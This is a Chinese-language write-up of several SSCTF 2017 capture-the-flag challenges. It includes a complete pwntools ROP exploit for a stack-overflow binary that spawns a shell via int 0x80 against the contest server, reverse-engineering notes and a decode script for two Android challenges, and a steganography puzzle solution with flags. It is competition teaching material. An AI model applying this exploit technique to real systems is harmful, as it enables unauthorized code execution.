SSCTF-2017部分Writeup

0x00

刚结束的SSCTF2017,自己只做了一点。

Pwn250

栈溢出,简单粗暴,但是程序是静态链接的,又有NX保护,直接ROP就好了。

思路就是,在.bss上构造参数,然后使用int 0x80起shell。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding: utf-8 -*-
#!/usr/bin/env python2
from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

LOCAL = False


main_addr = 0x0804887C

int80_gad_addr = 0x0806cbb5
#0x3a+4+4
read_addr = 0x0806D510
write_addr= 0x0806D580

bss_addr = 0x080ECA35

xor_eax_eax_ret = 0x080493a3
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080df1b9
pop_edx_ret = 0x0806efbb
add_al_ret = 0x080b4f19
mov_esp_ecx = 0x080b8c22

if LOCAL:
p = process('./250')#,env=env)
#p = process('filename',raw=False)
#this for Windows10 subsystem
else:
p = remote('60.191.205.81',2017)


def fuck(size,data):
p.recvuntil('Size]')
p.sendline(str(size))
p.recvuntil('Data]')
p.sendline(str(data))

def main():
'''
gdb.attach(p,"""
b *0x08048986
c
""")
'''
payload = 'A'*(0x3a+4) +p32(read_addr) + p32(main_addr) + p32(0) + p32(bss_addr) + p32(8)
fuck(0x100,payload)
p.send("/bin/sh\0")

sleep(2)
payload = 'A'*(0x3a+4) +p32(read_addr) + p32(main_addr) + p32(0) + p32(bss_addr+10) + p32(8)
fuck(0x100,payload)
p.send(p32(bss_addr))
sleep(2)

payload = 'A'*(0x3a+4) + p32(xor_eax_eax_ret)+p32(pop_ebx_ret)+p32(bss_addr)
payload += p32(pop_ecx_ret) + p32(bss_addr+10)
payload += p32(pop_edx_ret) + p32(0)
payload += p32(add_al_ret) * 0xb
payload += p32(int80_gad_addr)
fuck(0x100,payload)

p.interactive()

if __name__ == '__main__':
main()

apk1

程序会加密ctf1.xlsx,加密是每隔0x100字符加密一次。

加密的大概逻辑是:

  1. 先调用验证函数 private boolean verify(String arg11, String arg12),会根据签名算出一个k1[40]
  2. 根据输入的6位数字,和k1操作后得到新的k1
  3. 进入加密逻辑,使用新的k1与xlsx的每隔0x100的字符,循环亦或。

思路就是,反向先推一点,可以根据加密后的xlsx和正常的比对,能得到k1的前三个字节。

然后我把java代码复制出来新建一个java的工程,去爆破6位数字:

1
6位数字 ---> 和k1生成新的k1 ---> 然后比对前三字节

然后使用private boolean encode(Context arg12),把加密前后的文件名换一下,就可以直接解出来。

apk2 login

主要的函数在native层。把输入的12字节扩展为16字节,然后到java层去验证,正确的话经过AES解密弹出flag。

经过分析,只要使得输入的12字节经过变换后,等于 01635e6c5f2378255f27356c11663165 就好了。

主要的算法是,把输入的12字节分成4组,每组3个字节,每组的变化规律是

1
2
3
4
L[flag[0] >> 2] = res[0] ^ 0x3F
L[flag[1] >>4 + flag[0]<<4 & 0x3f] = res[1] ^0xf
L[flag[1]<<2&0x3f + flag[2] >>6] = res[2]
L[flag[2] &0x3f] = res[3]

写脚本做还原操作就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
res = [0x01,0x63,0x5e,0x6c,
0x5f,0x23,0x78,0x25,
0x5f,0x27,0x35,0x6c,
0x11,0x66,0x31,0x65]

final = [0x21, 0x3A, 0x23, 0x24, 0x25, 0x26, 0x28, 0x29, 0x2B,
0x2D, 0x2A, 0x2F, 0x60, 0x7E, 0x5F, 0x5B, 0x5D, 0x7B,
0x7D, 0x3F, 0x3C, 0x3E, 0x2C, 0x2E, 0x40, 0x5E, 0x61,
0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A,
0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73,
0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31,
0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x5C,
0x27, 0x3B]

'''
L[flag[0] >> 2] = res[0] ^ 0x3F
L[flag[1] >>4 + flag[0]<<4 & 0x3f] = res[1] ^0xf
L[flag[1]<<2&0x3f + flag[2] >>6] = res[2]
L[flag[2] &0x3f] = res[3]
'''

def get_index(target):
return final.index(target)

def fuck():
flag = []
for i in xrange(0,len(res),4):
ch0 = ((get_index(res[i] ^ 0x3f) << 2) & 0xff)+(get_index(res[i+1] ^ 0xf) >> 4)
flag.append(ch0)
ch1 = ((get_index(res[i+1] ^ 0xf) << 4) & 0xff) + (get_index(res[i+2]) >> 2)
flag.append(ch1)
ch2 = ((get_index(res[i+2]) << 6 ) & 0xff) + get_index(res[i+3])
flag.append(ch2)
return flag

out = ""

for ch in fuck():
out += chr(ch)

print out
#VVe1lD0ne^-^

安装apk到手机上,然后输入得到的字符串,得到flag

Music 300 你知道我在等你吗

拿到一个mp3,先binwalk看了一下:

zip啊,手动修改文件后缀为zip,然后直接解压得到如下:

二维码并没有什么卵用…coffee是加密的zip,把mp3丢进010 editor,发现后面多了一部分数据,strings之后得到一个有点奇怪的字符串:

尝试使用它解密zip…居然可以 :)

解开之后有个coffee.jpg

惯例使用binwalk扫一下:

并没有什么特别的地方。

在使用010 editor查看的时候,搜了下一些其他文件的文件头里的标志字符之类的,发现了:

前面的coffee也好奇怪,从coffee开始截取出来,找了个png头,尝试修复一下,然后打开:

得到一个二维码,扫一下,是让你去下载一个txt…其实这是个zip,但是后面拼接了一部分提示的字符串。

简直….丧心病狂。

猜了好多密码…什么coffee、seclover之类的,差点要爆破了。后面队友提示说要不要试试伪加密。

直接丢进010 editor 使用二进制模板解析后,修改标志位

然后尝试解压得到一个txt,里面是一串base64

1
2
keyis%7Bsec1over%25_6ugscan_@coffee%7D
#keyis{sec1over%_6ugscan_@coffee}